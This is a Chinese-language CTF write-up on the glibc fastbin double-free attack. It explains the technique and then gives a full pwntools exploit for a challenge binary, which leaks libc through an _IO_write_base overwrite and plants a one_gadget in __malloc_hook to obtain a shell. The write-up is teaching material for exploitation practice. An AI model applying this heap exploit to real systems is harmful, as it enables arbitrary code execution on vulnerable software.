常回家看看之fastbin_attack

原理分析

fastbin属于小堆块的管理，这里说的fastbin_attack大多指glibc2.26之前的手法，因为自glibc2.26以后，glibc迎来了一位新成员tcachebin，它减少了堆的开销，使堆管理变得迅速而高效，而且申请的小堆块会优先进入tachebin中，只有tachebin其中一个链表满了再次申请一个相同大小的堆块，若是小堆块再次free会进入fastbin中。

下面主要看一下fastbin，在glibc2.26以前对fastbin double free的检查没有那么严格，也就是说，如果程序里面有UAF漏洞，我们只要free第一个堆块之后free一个别的堆块，再次free第一个堆块，导致double free，实现堆块的伪造和堆块重叠。

也就是如下这种情况

在pwngdb里面是这样的

那么下次申请堆块的时候会把chunk0申请走，如果此时修改了chunk0的fd指针那么就导致把fake_chunk加入到fastbin链表中

就是如下这种情况

那么就可以实现堆块重叠

例题演示

题目保护情况

64位ida逆向

菜单

add函数，存在堆块数量上限，申请堆块之前申请了一个0x28大小的控制堆块，在控制堆块+8位置写上数据堆块地址，然后最后可以向控制堆块+16处的地址可以输入23字节的数据

free函数，存在UAF漏洞，及可以double free

show函数，没有实际的功能

分析

程序没有show功能，我们申请堆块的时候先申请到的控制堆块，然后才是自己输入的size的堆块，但是大小有限制导致不难申请到unsortbin范围大小的chunk，但是我们可以向控制堆块输入内容，导致可以伪造chunk的size位，泄露libc地址只能位置堆块实现堆块重叠，程序存在UAF漏洞，可以double free 从而可以伪造堆块，修改size为unsortbin 大小的范围然后free掉堆块

此时堆块情况

但是此时堆块size位为0x91，申请堆块的时候fastbin有检查，因此我们要复原堆块的size，但是由于没有show功能，所以可以申请堆块到IO结构体上，修改_IO_write_base 导致泄露libc地址，远程的话需要爆破高字节。

堆块7为了防止申请堆块的时候控制堆块切割unsortbin chunk。

然后用同样的手法在__malloc_hook 和 _realloc_hook布置上one_gadget，即可拿到shell

EXP

from pwn import * context(log_level='debug',arch='amd64',os='linux') ​ io = process('../pwn162') #io = remote('pwn.challenge.ctf.show', 28304) libc = ELF('/home/su/PWN/VIPshow/glibc-all-in-one/libs/2.23-0ubuntu3_amd64/libc-2.23.so') ​ def Add(size,name,msg=8 * b'\x00' + p64(0x71) + b'\x00' * 7):     io.sendlineafter("Your choice : ", '1')     io.sendlineafter("size of the daniu's name: \n", str(size))     io.sendafter("daniu's name:\n", name)     io.sendlineafter("daniu's message:\n", msg) ​ ​ ​ ​ def Delete(idx):     io.sendlineafter("Your choice : ", '3')     io.sendlineafter("daniu's index:\n", str(idx))     io.recvline() ​ ​ Add(0x60, 14 * p64(0x71))  # 0 Add(0x60, 14 * p64(0x71))  # 1 #gdb.attach(io) Delete(0) Delete(1) Delete(0) gdb.attach(io) Add(0x60, '\x20')  # 2 Add(0x60, '\x20')  # 3 Add(0x60, '\x20')  # 4 Add(0x60, p64(0) + p64(0x71))  # 5 #gdb.attach(io) Delete(0) Delete(5) Add(0x60, p64(0) + p64(0x91))  # 6 Add(0x20, 'bbbb')  # 7 Delete(0) Delete(5) Delete(7) Add(0x60, p64(0) + p64(0x71) + b'\xdd\x45')  # 8 #gdb.attach(io) Delete(7) Add(0x60, 'deadbeef')  # 9 Delete(7) #gdb.attach(io) io.sendlineafter("Your choice : ", '1') io.sendlineafter("size of the daniu's name: \n", str(0x60)) io.sendafter("daniu's name:\n", 0x33 * b'\x00' + p64(0x0FBAD1887) + p64(0) * 3 + b'\x58') libc_base = u64(io.recv(6).ljust(8,b'\x00')) - 0x3c46a3 success('libc_base---->'+hex(libc_base)) pause() malloc_hook = libc_base +libc.sym['__malloc_hook'] one = libc_base + 0xf1147 realloc  = libc_base   + libc.sym['__realloc_hook'] ​ ​ ​ #gdb.attach(io) io.sendline('a') Delete(5) Delete(0) Delete(5) ​ Delete(7) Add(0x60,p64(malloc_hook -0x23)) Delete(7) Add(0x60,p64(malloc_hook -0x23)) Delete(7) Add(0x60,p64(malloc_hook -0x23)) ​ Delete(7) payload = b'a'*0xb + p64(one) + p64(realloc)  #gdb.attach(io) Add(0x60,payload) #gdb.attach(io) io.sendlineafter("Your choice : ", '1') ​ ​ ​ ​ ​ io.interactive() ​